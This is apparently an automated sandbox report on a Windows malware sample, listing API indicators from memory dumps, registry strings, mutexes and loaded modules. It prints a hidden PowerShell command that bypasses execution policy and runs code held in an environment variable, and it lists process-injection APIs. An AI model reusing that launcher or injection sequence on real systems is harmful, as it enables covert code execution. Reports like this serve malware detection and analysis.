to API (Indicator: "OpenThreadToken"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "InternetGetConnectedState"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "ZwUnmapViewOfSection"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "Wow64GetThreadContext"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "Wow64SetThreadContext"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "RtlZeroMemory"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "VirtualProtectEx"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "FlushInstructionCache"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "NtQueryInformationProcess"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "NtQueueApcThread"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "RtlQueueApcWow64Thread"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "CreateRemoteThread"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandle"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "EnumProcessModules"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleBaseName"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariable"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentDirectory"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp")36:T6a0,Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "Wow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "Wow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp")37:T424,Found string "iex $env:7Qnw9QqsFYNhx3R" (Indicator: "Invoke-Expression"; File: "AMSI") Found string "iex $env:7Qnw9QqsFYNhx3R" (Indicator: "Invoke-Expression"; Source: "00000000-00004040.00000000.152403.9A210000.00000004.mdmp, 00000000-00004040.00000000.152403.9A400000.00000004.mdmp, 00000000-00004040.00000000.152403.9BCA0000.00000004.mdmp, 00000000-00004040.00000000.152403.9C100000.00000004.mdmp, 00000000-00004040.00000000.152403.B5000000.00000004.mdmp, 00000000-00004040.00000001.153030.9A210000.00000004.mdmp, 00000000-00004040.00000001.153030.9A400000.00000004.mdmp, 00000000-00004040.00000001.153030.9BCA0000.00000004.mdmp, 00000000-00004040.00000001.153030.9C100000.00000004.mdmp, 00000000-00004040.00000001.153030.B5000000.00000004.mdmp, 00000000-00004040.00000001.153030.B51A9000.00000004.mdmp") Found string "HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w h -NOP -nonI -EP BYPAss -Command iex $env:7Qnw9QqsFYNhx3R" (Indicator: "Invoke-Expression"; Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp")38:T98e,"SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004040.00000000.152403.9C100000.00000004.mdmp 00000000-00004040.00000001.153030.9C100000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004040.00000000.152403.9C100000.00000004.mdmp 00000000-00004040.00000001.153030.9C100000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004040.00000000.152403.9C100000.00000004.mdmp 00000000-00004040.00000001.153030.9C100000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "HKLM\" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004040.00000001.153030.9A210000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004040.00000001.153030.B2090000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00004040.00000001.153030.B2090000.00000004.mdmp39:T907,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4012:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4012:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4012:120:WilError_01" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:4012:120:WilError_01" Process WScript.exe created mutex with name "Local\SM0:4012:304:WilStaging_02" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "SM0:4012:120:WilError_01" Process WScript.exe created mutex with name "SM0:4012:304:WilStaging_02" Process WScript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4012:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4040:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:4040:304:WilStaging_02" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "SM0:4040:120:WilError_01" Process powershell.exe created mutex with name "SM0:4040:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4040:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4040:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process netsh.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process netsh.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4156:304:WilStaging_02" Process netsh.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4156:304:WilStaging_02"3a:Tf97,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\wininet.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135]3b:Td1d,"SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004040.00000000.152403.9C100000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004040.00000000.152403.9C100000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004040.00000000.152403.9C100000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "HKLM\" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00004040.00000001.153030.12058000.00000002.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004040.00000001.153030.9A210000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004040.00000001.153030.9C100000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004040.00000001.153030.9C100000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004040.00000001.153030.9C100000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004040.00000001.153030.B2090000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00004040.00000001.153030.B2090000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00004040.00000001.153030.B50CD000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004040.00000001.153030.B50CD000.00000004.mdmp "SOFTWARE\Microsoft\NetSh" in Source: 00000000-00004156.00000000.153346.2558B000.00000002.mdmp "System\CurrentControlSet\Services\RemoteAccess\Parameters" in Source: 00000000-00004156.00000000.153346.2558B000.00000002.mdmp3c:T3cfb,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff403b0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff403b0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff403b0000 "WScript.exe" loaded module "KERNEL32" at base 7fff40e70000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff1c5c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff3e370000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7fff43850000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7fff40e70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7fff12370000 "WScript.exe" loaded module "AMSI.DLL" at base 7fff269c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fff38060000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7fff26640000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\9P2RG7FO.DLL" at base 7fff13580000 "WScript.exe" loaded module "WLDP.DLL" at base 7fff3ed50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fff42b10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7fff40030000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fff3f130000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7fff2e090000 "WScript.exe" loaded module "OLE32.DLL" at base 7fff429c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fff3fda0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7fff21b80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7fff12330000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7fff36780000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7fff1f3d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 7fff120b0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fff11fd0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 